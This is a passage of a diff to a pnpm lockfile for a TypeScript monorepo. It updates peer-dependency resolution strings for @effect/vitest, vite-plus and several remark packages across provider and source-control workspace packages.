4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@t3tools/provider-testing': specifier: workspace:* version: link:../provider-testing @@ -1560,7 +1559,7 @@ importers: version: 24.12.4 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/provider-grok: dependencies: @@ -1585,7 +1584,7 @@ importers: version: 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@t3tools/provider-testing': specifier: workspace:* version: link:../provider-testing @@ -1597,7 +1596,7 @@ importers: version: link:../effect-acp vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/provider-muse: dependencies: @@ -1622,7 +1621,7 @@ importers: version: 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@t3tools/provider-testing': specifier: workspace:* version: link:../provider-testing @@ -1631,7 +1630,7 @@ importers: version: 24.12.4 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/provider-opencode: dependencies: @@ -1665,7 +1664,7 @@ importers: version: 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@t3tools/provider-testing': specifier: workspace:* version: link:../provider-testing @@ -1674,7 +1673,7 @@ importers: version: 24.12.4 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/provider-pi: dependencies: @@ -1696,7 +1695,7 @@ importers: version: 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@t3tools/provider-testing': specifier: workspace:* version: link:../provider-testing @@ -1705,7 +1704,7 @@ importers: version: 24.12.4 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/provider-testing: dependencies: @@ -1748,7 +1747,7 @@ importers: version: 6.2.2 mdast-util-directive: specifier: 'catalog:' - version: 3.1.0 + version: 3.1.0(supports-color@8.1.1) mdast-util-to-hast: specifier: ^13.2.1 version: 13.2.1 @@ -1769,13 +1768,13 @@ importers: version: 4.0.0 remark-gfm: specifier: 'catalog:' - version: 4.0.1 + version: 4.0.1(supports-color@8.1.1) remark-math: specifier: 6.0.0 - version: 6.0.0 + version: 6.0.0(supports-color@8.1.1) remark-parse: specifier: 'catalog:' - version: 11.0.0 + version: 11.0.0(supports-color@8.1.1) remark-rehype: specifier: 'catalog:' version: 11.1.2 @@ -1791,7 +1790,7 @@ importers: version: 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@types/mdast': specifier: ^4.0.4 version: 4.0.4 @@ -1803,7 +1802,7 @@ importers: version: 2.0.2 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/source-control-azure-devops: dependencies: @@ -1828,7 +1827,7 @@ importers: version: 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@t3tools/source-control-testing': specifier: workspace:* version: link:../source-control-testing @@ -1837,7 +1836,7 @@ importers: version: 24.12.4 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/source-control-bitbucket: dependencies: @@ -1859,13 +1858,13 @@ importers: devDependencies: '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@types/node': specifier: 24.12.4 version: 24.12.4 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/source-control-core: dependencies: @@ -1881,13 +1880,13 @@ importers: devDependencies: '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@types/node': specifier: 24.12.4 version: 24.12.4 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/source-control-forgejo: dependencies: @@ -1909,7 +1908,7 @@ importers: devDependencies: '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@t3tools/source-control-testing': specifier: workspace:* version: link:../source-control-testing @@ -1918,7 +1917,7 @@ importers: version: 24.12.4 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/source-control-gitcafe: dependencies: @@ -1940,7 +1939,7 @@ importers: devDependencies: '@effect/vitest': specifier: 4.0.5 - version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 4.0.5(patch_hash=2731c9c3761c595f25ddc625a7d61ca376b389d5b3049ecb837c8940f21cfa02)(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(effect@4.0.5)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) '@t3tools/source-control-testing': specifier: workspace:* version: link:../source-control-testing @@ -1949,7 +1948,7 @@ importers: version: 24.12.4 vite-plus: specifier: 1.3.0 - version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + version: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) packages/source-control-github: dependencies: @@ -1977,7 +1976,7 @@ importers: version: 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) '@effect/vitest': specifier: 4.0.5 - version: 